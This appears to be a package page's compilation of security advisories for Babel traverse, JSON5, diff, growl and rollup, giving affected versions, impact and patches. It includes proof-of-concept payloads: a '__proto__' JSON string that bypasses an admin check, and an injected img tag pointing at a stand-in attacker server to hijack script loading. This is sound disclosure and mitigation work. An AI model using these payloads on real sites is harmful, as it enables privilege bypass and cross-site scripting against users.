Version Details and Security Vulnerabilities

Impact

Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the path.evaluate()or path.evaluateTruthy() internal Babel methods.

Known affected plugins are:

• @babel/plugin-transform-runtime
• @babel/preset-env when using its useBuiltIns option
• Any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider, such as babel-plugin-polyfill-corejs3, babel-plugin-polyfill-corejs2, babel-plugin-polyfill-es-shims, babel-plugin-polyfill-regenerator

No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/traverse@7.23.2.

Babel 6 does not receive security fixes anymore (see Babel's security policy), hence there is no patch planned for babel-traverse@6.

Workarounds

• Upgrade @babel/traverse to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. @babel/core >=7.23.2 will automatically pull in a non-vulnerable version.
• If you cannot upgrade @babel/traverse and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected @babel/traverse versions:
  • @babel/plugin-transform-runtime v7.23.2
  • @babel/preset-env v7.23.2
  • @babel/helper-define-polyfill-provider v0.4.3
  • babel-plugin-polyfill-corejs2 v0.4.6
  • babel-plugin-polyfill-corejs3 v0.8.5
  • babel-plugin-polyfill-es-shims v0.10.0
  • babel-plugin-polyfill-regenerator v0.5.3

The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.

This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.

Impact

This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.

Mitigation

This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.

Details

Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:

const JSON5 = require('json5');

const doSomethingDangerous = (props) => {
  if (props.isAdmin) {
    console.log('Doing dangerous thing as admin.');
  } else {
    console.log('Doing dangerous thing as user.');
  }
};

const secCheckKeysSet = (obj, searchKeys) => {
  let searchKeyFound = false;
  Object.keys(obj).forEach((key) => {
    if (searchKeys.indexOf(key) > -1) {
      searchKeyFound = true;
    }
  });
  return searchKeyFound;
};

const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
  throw new Error('Forbidden...');
}

If the user attempts to set the isAdmin key, their request will be rejected:

const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props);
} else {
  throw new Error('Forbidden...'); // Error: Forbidden...
}

However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:

const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
  throw new Error('Forbidden...');
}

A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.

Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.

Recommendation

Update to version 1.10.0 or later.

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;